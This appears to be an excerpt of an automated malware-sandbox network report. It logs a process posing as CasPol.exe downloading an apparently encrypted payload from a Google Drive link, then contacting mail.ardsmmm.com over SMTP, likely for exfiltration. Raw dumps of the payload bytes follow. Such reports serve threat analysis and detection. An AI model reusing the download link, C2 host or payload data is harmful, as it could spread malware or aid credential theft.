                                                                                                              Nov 10, 2022 20:35:34.144558907 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:34.144594908 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.144725084 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.144790888 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:34.144821882 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.144871950 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:34.144963026 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:34.144977093 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.145003080 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.145133972 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:34.145167112 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.145251036 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.145277977 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:34.145329952 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:34.145351887 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.145457029 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:46.900393009 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:46.954231024 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:46.954433918 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:47.179186106 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:47.179635048 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:47.233654976 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:47.234146118 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:47.289649010 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:47.295464039 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:47.358063936 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:47.358098984 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:47.358124971 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:47.358145952 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:47.358278036 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:47.358278036 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:47.361289978 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:47.366306067 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:47.420384884 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:47.463140011 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:47.759860992 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:47.813425064 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:47.814721107 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:47.868784904 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:47.869585037 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:47.931051970 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:47.931710958 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:47.985165119 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:47.985482931 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:48.078430891 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:48.494584084 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:48.495102882 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:48.549016953 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:48.549118996 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:48.582912922 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:48.582972050 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:48.583061934 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:48.583061934 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:35:48.636584997 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:48.636607885 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:48.636722088 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:48.636739016 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:49.766390085 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:35:49.821893930 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:37:26.660860062 CET49803587192.168.11.20185.111.247.38
                                                                                                              Nov 10, 2022 20:37:26.754502058 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:37:26.984460115 CET58749803185.111.247.38192.168.11.20
                                                                                                              Nov 10, 2022 20:37:26.985316992 CET49803587192.168.11.20185.111.247.38
                                                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                                                              Nov 10, 2022 20:35:33.029309034 CET4990253192.168.11.201.1.1.1
                                                                                                              Nov 10, 2022 20:35:33.038650990 CET53499021.1.1.1192.168.11.20
                                                                                                              Nov 10, 2022 20:35:33.771831036 CET5032853192.168.11.201.1.1.1
                                                                                                              Nov 10, 2022 20:35:33.811506033 CET53503281.1.1.1192.168.11.20
                                                                                                              Nov 10, 2022 20:35:46.650567055 CET6523353192.168.11.201.1.1.1
                                                                                                              Nov 10, 2022 20:35:46.872061014 CET53652331.1.1.1192.168.11.20
                                                                                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                              Nov 10, 2022 20:35:33.029309034 CET192.168.11.201.1.1.10xb8aStandard query (0)drive.google.comA (IP address)IN (0x0001)false
                                                                                                              Nov 10, 2022 20:35:33.771831036 CET192.168.11.201.1.1.10xac7dStandard query (0)doc-08-2c-docs.googleusercontent.comA (IP address)IN (0x0001)false
                                                                                                              Nov 10, 2022 20:35:46.650567055 CET192.168.11.201.1.1.10x621bStandard query (0)mail.ardsmmm.comA (IP address)IN (0x0001)false
                                                                                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                              Nov 10, 2022 20:35:33.038650990 CET1.1.1.1192.168.11.200xb8aNo error (0)drive.google.com142.250.185.142A (IP address)IN (0x0001)false
                                                                                                              Nov 10, 2022 20:35:33.811506033 CET1.1.1.1192.168.11.200xac7dNo error (0)doc-08-2c-docs.googleusercontent.comgooglehosted.l.googleusercontent.comCNAME (Canonical name)IN (0x0001)false
                                                                                                              Nov 10, 2022 20:35:33.811506033 CET1.1.1.1192.168.11.200xac7dNo error (0)googlehosted.l.googleusercontent.com142.250.185.225A (IP address)IN (0x0001)false
                                                                                                              Nov 10, 2022 20:35:46.872061014 CET1.1.1.1192.168.11.200x621bNo error (0)mail.ardsmmm.comardsmmm.comCNAME (Canonical name)IN (0x0001)false
                                                                                                              Nov 10, 2022 20:35:46.872061014 CET1.1.1.1192.168.11.200x621bNo error (0)ardsmmm.com185.111.247.38A (IP address)IN (0x0001)false
                                                                                                              • drive.google.com
                                                                                                              • doc-08-2c-docs.googleusercontent.com
                                                                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                              0192.168.11.2049800142.250.185.142443C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                              TimestampkBytes transferredDirectionData
                                                                                                              2022-11-10 19:35:33 UTC0OUTGET /uc?export=download&id=1cc1XgOFqWbufLdeULcCvdD6jeUzSh58O HTTP/1.1
                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
                                                                                                              Host: drive.google.com
                                                                                                              Cache-Control: no-cache
                                                                                                              2022-11-10 19:35:33 UTC0INHTTP/1.1 303 See Other
                                                                                                              Content-Type: application/binary
                                                                                                              Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                              Pragma: no-cache
                                                                                                              Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                              Date: Thu, 10 Nov 2022 19:35:33 GMT
                                                                                                              Location: https://doc-08-2c-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/v1ohnk8onm1cb9e2ovt0bpcco65eo93j/1668108900000/13254490670465695558/*/1cc1XgOFqWbufLdeULcCvdD6jeUzSh58O?e=download&uuid=367e4c92-b7a2-4967-b3bb-34165439c218
                                                                                                              Strict-Transport-Security: max-age=31536000
                                                                                                              Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
                                                                                                              Content-Security-Policy: script-src 'nonce-5iI4LDoUf1vx34e72PXf0g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
                                                                                                              Cross-Origin-Opener-Policy: same-origin; report-to="DriveUntrustedContentHttp"
                                                                                                              Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-platform=*, ch-ua-platform-version=*
                                                                                                              Report-To: {"group":"DriveUntrustedContentHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/DriveUntrustedContentHttp/external"}]}
                                                                                                              Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
                                                                                                              Server: ESF
                                                                                                              Content-Length: 0
                                                                                                              X-XSS-Protection: 0
                                                                                                              X-Frame-Options: SAMEORIGIN
                                                                                                              X-Content-Type-Options: nosniff
                                                                                                              Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                              Connection: close


                                                                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                              1192.168.11.2049801142.250.185.225443C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                              TimestampkBytes transferredDirectionData
                                                                                                              2022-11-10 19:35:33 UTC1OUTGET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/v1ohnk8onm1cb9e2ovt0bpcco65eo93j/1668108900000/13254490670465695558/*/1cc1XgOFqWbufLdeULcCvdD6jeUzSh58O?e=download&uuid=367e4c92-b7a2-4967-b3bb-34165439c218 HTTP/1.1
                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
                                                                                                              Cache-Control: no-cache
                                                                                                              Host: doc-08-2c-docs.googleusercontent.com
                                                                                                              Connection: Keep-Alive
                                                                                                              2022-11-10 19:35:34 UTC2INHTTP/1.1 200 OK
                                                                                                              X-GUploader-UploadID: ADPycds53EG8uCAX4RqrsxTxhVxHnVlPglJnEDGhzTSqUH3TEcGkYEIOxk3i7EAgJ3Gm4EJilGOUgc4iahdpvdGusjbyswM3WTE0
                                                                                                              Content-Type: application/octet-stream
                                                                                                              Content-Disposition: attachment; filename="lwNfGgpV93.xsn"; filename*=UTF-8''lwNfGgpV93.xsn
                                                                                                              Access-Control-Allow-Origin: *
                                                                                                              Access-Control-Allow-Credentials: false
                                                                                                              Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-467253834-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, x-goog-ext-477772811-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-Interop-Cohorts, X-Goog-Meeting-Interop-Type, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-ViewerInfo, X-Goog-Meeting-Viewer-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment, x-goog-greenenergyuserappservice-metadata, x-goog-sherlog-context
                                                                                                              Access-Control-Allow-Methods: GET,HEAD,OPTIONS
                                                                                                              Content-Length: 222784
                                                                                                              Date: Thu, 10 Nov 2022 19:35:34 GMT
                                                                                                              Expires: Thu, 10 Nov 2022 19:35:34 GMT
                                                                                                              Cache-Control: private, max-age=0
                                                                                                              X-Goog-Hash: crc32c=f9gUwA==
                                                                                                              Server: UploadServer
                                                                                                              Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                              Connection: close
                                                                                                              2022-11-10 19:35:34 UTC6INData Raw: 88 a9 4b 05 d8 57 f3 ea a9 1e 76 90 dd 98 ae 74 7f 7a 44 34 c7 c5 23 90 e8 b9 f5 8e d1 d7 04 3f 57 ac 2f bd c9 02 db ac 8c 5d 33 c6 ac cc 47 50 b3 5c 43 03 02 22 31 76 88 27 b8 5b 80 04 28 22 e7 d0 36 07 a9 88 cd ea 20 40 53 ad 31 ab 17 2d a5 c1 95 16 3b c1 0b de 5d f8 3f 5b 52 47 9d a2 67 48 24 b7 57 92 fa 9b d2 88 65 ad 4f 87 d1 c3 7f d7 0f 34 ed 5e 44 ce c5 8d 17 69 06 f4 25 d3 fc b8 f5 6e 92 18 22 b9 39 8a f0 83 57 47 72 96 fa db 8d 77 b3 38 fb 87 78 aa f0 e0 41 d5 56 b8 3c c1 cc ff 69 7d 96 fb 35 5d 91 50 86 ea c6 b2 a1 43 f2 d5 72 65 f0 eb e3 2a 06 c1 9f 97 a8 95 c5 70 c2 f4 2c aa 1a 46 e6 74 0c 91 64 16 38 94 2a 87 35 79 b9 3f 6a 54 1b 8e f1 74 c9 e8 d3 fd 43 07 61 1d fd 9e 27 45 7b 7c 6e ec c7 45 47 29 a3 25 23 0a 66 1a 16 88 04 85 44 3c e7 e4 ce
                                                                                                              Data Ascii: KWvtzD4#?W/]3GP\C"1v'[("6 @S1-;]?[RGgH$WeO4^Di%n"9WGrw8xAV<i}5]PCre*p,Ftd8*5y?jTtCa'E{|nEG)%#fD<
                                                                                                              2022-11-10 19:35:34 UTC10INData Raw: 60 0e bf 93 a8 a7 d9 c1 7d 9c f5 19 c6 c0 83 20 bb 38 f1 48 42 67 9a 46 22 e3 95 14 2f cf 79 c2 65 95 92 cc 3e 96 b0 4d 16 c0 e1 c7 2e 2b c0 b5 bf 28 97 95 33 ea 75 62 ab 1f 52 8f df 42 f2 6e 9a 20 94 2a 86 3f 51 7e 3f 68 5f 9c 97 fa 74 c8 a0 f8 7f 41 0f 67 0a 70 99 27 45 a4 0a 64 fa c1 4d 56 29 a3 2f 81 03 75 1e 47 8c 10 b1 53 b1 da e6 ce 33 70 fe ba 96 57 71 1e d1 42 64 96 48 80 28 d9 62 ca 75 3f 25 07 cd 6e 12 28 64 f9 3d 1e 0d be 43 f1 43 61 47 5a 73 0c d6 a0 72 2c 6d 08 70 34 9f 75 97 a6 c2 2b b3 b4 c2 1a 65 72 ad b8 48 0a 7c e9 1a 84 44 62 dc cf 03 b9 70 4f 65 90 c0 a2 59 51 7c af ce 3a f7 08 67 d9 e3 ee a0 0c c0 27 a5 c9 81 1b 8a 49 aa e8 a7 8c 5e 8d af cf 39 59 82 a0 54 de 50 3c 82 33 fa 89 43 89 23 f2 16 9c 44 70 00 4f 02 fd 95 16 e9 3c c4 84 53
                                                                                                              Data Ascii: `} 8HBgF"/ye>M.+(3ubRBn *?Q~?h_tAgp'EdMV)/uGS3pWqBdH(bu?%n(d=CCaGZsr,mp4u+erH|DbpOeYQ|:g'I^9YTP<3C#DpO<S
                                                                                                              2022-11-10 19:35:34 UTC14INData Raw: d5 3a 05 0e c5 15 72 41 6b 9d 5d f6 64 4a a0 73 32 68 14 37 eb 9f 75 97 6e 42 05 bb 98 c4 1d 45 44 d3 b8 42 2c 84 e9 4c 84 44 6c d8 7e 10 bf 0d 1a 0a cb c4 cd cd 2f 48 a5 e2 27 89 52 1c 9b e9 c6 33 14 af be 8d 94 8b 0a 86 ec e6 cd 8f c8 31 2d a5 c4 1b c6 8e 88 1e 00 50 1c ab 62 fa 89 49 57 2b 2c b0 08 6c 3e 2d 4f 08 ef 82 0e ae 3c 9d 8e 8d 5c 9c 4b 28 12 21 22 18 02 47 5e ba 4a e7 1e ca 88 69 80 db 9d b6 8b 38 eb 79 4a c3 f7 cf e8 7c c7 ec 80 0a cf 71 e8 a6 0c 85 d0 de c0 45 97 78 85 58 8a 49 11 f1 ce f4 26 b0 d2 5b 78 e9 6c f8 bc 34 95 ab 34 c9 7e f3 5f d0 5a ad 3d 8a dc 9e 20 d1 74 64 b1 26 d7 ec 40 51 f9 16 b8 25 d2 aa e1 dc 7b bb 59 cf 23 7e 3a 6c ce da 61 b2 f0 16 84 01 37 67 a5 65 bb 5f 73 6b 1c 4f a1 ef 74 95 f2 67 43 55 10 04 2a b9 91 a2 c9 a1 22
                                                                                                              Data Ascii: :rAk]dJs2h7unBEDB,LDl~/H'R31-PbIW+,l>-O<\K(!"G^Ji8yJ|qExXI&[xl44~_Z= td&@Q%{Y#~:la7ge_skOtgCU*"
                                                                                                              2022-11-10 19:35:34 UTC18INData Raw: c3 f7 c5 c2 b2 c5 ec 28 64 2c 71 df ac 63 61 35 df ca 2a 8e 78 85 52 81 58 17 9e 29 f4 26 ba 5a 97 a6 e5 28 fe 90 33 7e ac 5b b7 72 f3 55 0c 5d a7 e3 9f fb b6 60 d1 e5 6f a2 23 7a 23 42 51 e9 1e 90 64 de aa eb 02 7b bd 73 cf 23 7f 26 6c e7 da 61 aa d9 29 d3 01 69 65 a5 65 b7 5f 73 6b 31 28 c6 ee 61 b8 f2 67 44 4e 20 07 70 17 91 a2 a9 84 22 98 64 ef 77 d2 0b be 42 2c b1 db cb 0f 28 38 6d 87 bf ff d1 13 79 ee 32 6b 73 f9 19 76 58 12 a4 d1 f1 be 62 cb 95 04 98 88 e9 2d 62 89 35 74 6a
                                                                                                              Data Ascii: (d,qca5*xRX)&Z(3~[rU]`o#z#BQd{s#&la)iee_sk1(agDN p"dwB,(8my2ksvXb-b5tj
                                                                                                              2022-11-10 19:35:34 UTC18INData Raw: 84 09 d0 cd 69 38 14 d2 79 d6 92 ee 69 59 b1 f5 52 fc 04 8a cd 55 17 41 a3 11 fc 43 86 cd c9 01 68 f8 b0 3d 7d 2f 49 0c 87 b5 3a 37 76 02 6e bc d9 11 b5 10 b7 51 5c a6 01 7a 5b 99 ce d0 21 3e 66 9b 02 ee 13 76 6f a0 b5 08 99 a0 90 f2 94 31 b2 bd cd 0b a3 6e 96 be b1 9f ef 2e f5 59 eb dd 34 81 c0 95 30 5b ef c1 27 bb c2 cd 5e ce e4 48 bc 61 9d a5 a9 bb 00 d9 b2 7c fc c3 46 c1 0b 64 a4 48 ad d4 47 78 6d 62 12 91 81 0c 48 60 36 a0 0f cc 40 ad d1 8e 06 a0 37 08 f1 c5 44 63 29 f2 00 3b 2a db b4 65 43 d2 e3 95 8b 74 f8 d9 f8 60 18 59 32 8d eb 63 0b cc 71 80 c5 de c4 7f c8 1f 29 7d 20 9e ae a6 43 38 bc 1a ea 50 5b 61 61 72 de 8e 64 78 27 3d 3c 10 3d 07 32 1a 55 5d 17 b8 9d bf 26 da 8e 7b 36 33 fa da d3 f6 4d d1 8a 1b 64 4c d8 cc d7 86 b4 77 d2 a2 c7 4b c0 f5 a6
                                                                                                              Data Ascii: i8yiYRUACh=}/I:7vnQ\z[!>fvo1n.Y40['^Ha|FdHGxmbH`6@7Dc);*eCt`Y2cq)} C8P[aardx'=<=2U]&{63MdLwK
                                                                                                              2022-11-10 19:35:34 UTC19INData Raw: 9b 04 75 e8 39 0d f9 ab 47 77 57 6d 5b 5f fa 0b c7 a4 64 c6 78 30 5b 74 8c 71 9d a1 4a 0c 4d b5 ef 02 65 f4 af b8 44 0e a0 97 40 8e 49 71 e7 4f 01 a8 72 4e f4 ca ec a1 44 3c 4c af df 3a 86 aa 66 f5 eb ed 32 34 b8 de 72 6b 89 0c 56 9b ac c4 01 7b 6c 2a b3 ee 0a 28 80 a0 6c 00 50 16 af 23 fa 98 6b 56 29 f2 b9 05 bc 7e 2d 45 0e ea 85 0d f3 34 9a 1e 59 5a d9 62 bc 12 2b fe 14 2a 07 e9 bb 40 cf 4d ca 88 63 97 da 9a a1 51 33 ec 71 c4 74 c5 11 c0 7c c7 ed 3e 0b cf 71 df b5 0c 8d 2e df cc 68 9b 78 84 43 ba 41 11 f4 ce f4 26 9d 77 5a 69 9a c0 f8 bc 3e 64 ad 20 e1 92 f1 5f d6 4c 20 3a 8a de 9f 34 c5 f1 4d e9 26 52 e6 54 79 0e 16 b8 23 c9 27 e6 dc 7b ba 4a cb 32 7a 2c 6e 9c 99 61 b2 dd 3e 66 03 65 63 8d 59 b7 5f 79 c9 20 4b b5 fa 62 82 da 9d 45 55 1a 07 58 40 91 a2
                                                                                                              Data Ascii: u9GwWm[_dx0[tqJMeD@IqOrND<L:f24rkV{l*(lP#kV)~-E4YZb+*@McQ3qt|>q.hxCA&wZi>d _L :4M&RTy#'{J2z,na>fecY_y KbEUX@
                                                                                                              2022-11-10 19:35:34 UTC20INData Raw: 73 68 95 8d 61 c3 39 e9 6a 7d 75 22 8d e1 50 f6 b2 4c 80 d4 de a7 73 dd 37 f5 57 d6 9a b9 2d 2b 3e bd 1b f3 39 4d 66 77 50 1a 80 75 72 91 04 cd 06 29 15 02 cf 52 5d 1d 91 9f ae 37 c1 93 54 33 4e fa dc 70 88 b7 c6 a2 04 75 4b f5 5e d7 90 cf 2e c6 8a 95 63 d1 ff 8e 61 ed 25 a0 99 aa 16 a6 9c e5 12 26 40 55 ba 43 53 17 2d 1c d2 84 07 2a d7 23 27 1f f8 39 f9 43 56 89 b6 73 60 7c b7 57 98 ee b3 28 8a 65 ab 58 0a d6 c3 7f d6 1c 26 fc 4c 52 e6 3c 8f 17 6f 24 e5 37 c7 e6 b3 67 38 92 ac 21 5c 09 32 f1 c5 89 6a 30 ed 98 b9 a1 13 e9 a0 9e f5 1f df 5d 84 20 bb 39 c4 5a f0 bc 8c 61 f6 e1 95 13 96 ee 62 d5 8d 80 90 cc 2a 34 a1 4e 7c e9 f5 ef 72 06 c1 95 bf f9 95 95 3f d0 ff 48 a3 18 46 ad a4 5f e3 6f 07 3c a5 3d 96 3e 6a 5d 2e 64 7d 61 8d fa 72 e1 e4 d0 fd 49 27 30 1d
                                                                                                              Data Ascii: sha9j}u"PLs7W-+>9MfwPur)R]7T3NpuK^.ca%&@UCS-*#'9CVs`|W(eX&LR<o$7g8!\2j0] 9Zab*4N|r?HF_o<=>j].d}arI'0
                                                                                                              2022-11-10 19:35:34 UTC21INData Raw: fe 45 11 f1 d7 e7 2b a1 67 42 e8 c5 33 e9 b2 2c f5 82 25 c9 72 f9 54 c6 d6 92 3d 8a df 95 27 c7 69 5a b1 26 53 fa 68 43 ee 14 b2 1f 46 54 1e 23 6a b1 4d e7 dd 7c 3a 6a fe 55 66 b2 d9 17 97 0e 74 6a b3 72 3a 18 73 6b 30 ed b0 e1 63 83 7e 58 45 55 11 a6 61 b4 89 b4 25 9c 22 98 74 65 b6 df 1f ac 25 e5 99 64 c1 03 2a 71 a3 8d ab dd 23 6f 44 e8 24 ec 7f f0 76 97 4c 06 ba ea af 95 3a d0 e7 67 79 88 f2 2a c8 e1 24 7e 47 9b 1c dd c7 19 38 14 d9 79 4e 92 ee 69 a9 9f f5 51 bb 91 88 cd 55 6b ae a1 18 99 2f 6e cd cf 18 40 c2 a1 3a 55 fb 5a 04 90 de f5 18 76 08 0b 83 d9 11 bf 5a ba 55 33 4d 01 7a 51 27 e6 03 23 37 62 e5 3f 2c 11 7c 00 de b5 08 93 ab 81 f4 fb c7 82 be c7 66 3c b0 9a a7 b7 b3 f9 29 f8 1d 8e dd 33 9c e2 93 16 87 e2 ef 0f fc d4 33 55 f1 e3 77 63 63 9a bb
                                                                                                              Data Ascii: E+gB3,%rT='iZ&ShCFT#jM|:jUftjr:sk0c~XEUa%"te%d*q#oD$vL:gy*$~G8yNiQUk/n@:UZvZU3MzQ'#7b?,|f<)33Uwcc
                                                                                                              2022-11-10 19:35:34 UTC23INData Raw: f5 42 27 fe 99 bf c7 dd 76 40 4a 78 5e c7 d0 82 2b b3 3f c1 4f 6f 19 f5 6c 0e e3 9f 33 3c 90 f7 c2 a5 9f 95 e6 2c d7 ac 5c 68 ff e1 c7 2a 0f c1 9f 97 88 94 95 35 eb f5 60 ab 17 46 a7 88 42 f2 64 16 2b a4 28 87 1d 79 59 3f 5d 55 10 9e ec 7f e2 af d0 fa 54 f1 60 31 ff 86 2c 45 a2 11 93 ed eb 67 50 22 a3 22 3b f4 67 36 54 a3 06 8e a7 3e 9c a2 ce 32 67 d1 89 91 42 1b c6 c0 47 48 e4 48 80 22 db 57 de e5 3b 2f 16 c9 70 88 00 64 ef 36 3f 1c aa 6c 65 bf 60 6d 4e e6 00 d6 a7 65 c6 78 30 5a 7b 94 75 9a a8 b0 15 9f b6 e8 0e 66 c8 af c3 07 26 58 93 6a a6 46 6b 89 0e 01 b9 72 72 0a cb c0 b1 63 2d 48 87 ce 3e 98 5c 67 d9 f8 d0 3c 27 db 21 8a 83 7f 1a ac 95 bc c6 8f cb 48 73 a4 e8 13 0f 89 a0 59 18 ae 17 af 21 d1 8b 68 6a 29 89 f9 2d 44 7a 07 6d 00 ff f3 60 ef 3c 99 ae
                                                                                                              Data Ascii: B'v@Jx^+?Ool3<,\h*5`FBd+(yY?]UT`1,EgP"";g6T>2gBGHH"W;/pd6?le`mNex0Z{uf&XjFkrrc-H>\g<'!HsY!hj)-Dzm`<
